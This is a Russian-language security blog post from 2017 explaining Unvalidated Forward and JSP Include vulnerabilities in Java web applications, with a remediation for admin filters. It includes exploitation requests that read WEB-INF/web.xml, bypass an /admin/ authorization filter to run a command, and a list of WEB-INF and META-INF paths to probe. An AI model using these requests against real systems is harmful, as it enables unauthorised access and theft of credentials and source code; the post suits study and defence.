14 августа 2017

Unvalidated Forwards


Довольно часто встречаю уязвимости Unvalidated Forward и JSP Include, но нормальных статей про них толком не встречал (поэтому написал еще одну плохую).

Примеры уязвимостей

String locale = request.getParameter("locale");
request.getRequestDispatcher("/folder/" + locale + "/index.jsp").forward(request, response);
<jsp:include page='<%=request.getParameter("page")%>'/>
<jsp:forward page='<%=request.getParameter("page")%>'/>

Описание
forward - передача обработки текущего запроса другому сценарию.
include - включение в ответ результата обработки другого сценария.

С помощью данных функций нельзя получить доступ к произвольным файлам в системе, работа происходит только в рамках одного веб приложения.
Путь, передаваемый в функции, обрабатывается как Request-URI. То есть:

  1. Для отбрасывания префикса можно использовать prefix/../path (но не выше текущего приложения)
  2. Для отбрасывания постфикса можно использовать path/?/postfix.jsp

В результате будет тоже самое, как обращение к данному пути с помощью обычного HTTP запроса (jsp исполнится, а xml будет прочитан). Но с небольшими отличиями:

  1. Результирующий сценарий получит все параметры, переданные в оригинальном запросе. Если в путь добавить query string, то эти параметры будут добавлены к оригинальным.
  2. В данном запросе нет ограничений на обращения к файлам из каталогов WEB-INF и META-INF
  3. По умолчанию данный запрос не обрабатывается фильтрами, описанными в web.xml
  4. Иногда данные уязвимости помогают обойти WAF

Пример эксплуатации

<jsp:include page="<%=request.getParameter("page")%>"/>
/index.jsp?page=/WEB-INF/web.xml
String locale = request.getParameter("locale");
request.getRequestDispatcher("/folder/" + locale + "/index.jsp").forward(request, response);
/index.jsp?locale=../WEB-INF/web.xml?

Обход фильтров
Часто сценарии для администрирования просто выносят в отдельный каталог /admin/, который закрывают с помощью фильтра с проверкой авторизации.

<filter>
  <filter-name>AdminFilter</filter-name>
  <filter-class>foo.bar.AdminFilter</filter-class>
</filter>
<filter-mapping>
  <filter-name>AdminFilter</filter-name>
  <url-pattern>/admin/*</url-pattern>
</filter-mapping>

В данном случае для запросов через forward и include по умолчанию фильтр не будет вызван и авторизация не проверится.

/index.jsp?locale=../admin/Pwn?cmd=id%26

Для того, чтобы фильтр работал и в этом случае, необходимо добавить следующие настройки (по умолчанию идет только REQUEST - прямой запрос к сценарию).

<filter-mapping>
  <filter-name>AdminFilter</filter-name>
  <url-pattern>/admin/*</url-pattern>
  <dispatcher>REQUEST</dispatcher>
  <dispatcher>FORWARD</dispatcher>
  <dispatcher>INCLUDE</dispatcher>
</filter-mapping>

Обращение к файлам из WEB-INF и META-INF

1. Доступ к конфигурационным файлам. Следует проверить следующие варианты:
/WEB-INF/web.xml
/WEB-INF/%filename%.xml
/WEB-INF/%filename%.properties
/WEB-INF/classes/%filename%.xml
/WEB-INF/classes/%filename%.properties
/WEB-INF/config/%filename%.xml
/WEB-INF/config/%filename%.properties
/WEB-INF/conf/%filename%.xml
/WEB-INF/conf/%filename%.properties
/WEB-INF/resources/%filename%.xml
/WEB-INF/resources/%filename%.properties
/META-INF/%filename%.xml
/META-INF/%filename%.properties

Я попытался составить небольшой словарь того, что может там встретиться
https://github.com/BlackFan/WEB-INF-dict/blob/master/web-inf.txt

2. Доступ к коду приложения
/WEB-INF/lib/%filename%.jar
/WEB-INF/classes/foo/bar/Baz.class    =>   package foo.bar; class Baz

В случае с библиотеками вслепую перебирать будет довольно сложно, так как часто в имени есть еще и версия. Но чтение классов вполне реально, информацию о существующих классах можно получить из stack trace, web.xml, конфигурационных файлов и самих классов.

Дальнейшая эксплуатация зависит от конкретного приложения, но в основном полученных данных (учетные записи к базам данных и панелям администрирования, исходный код приложения) хватает для развития атаки.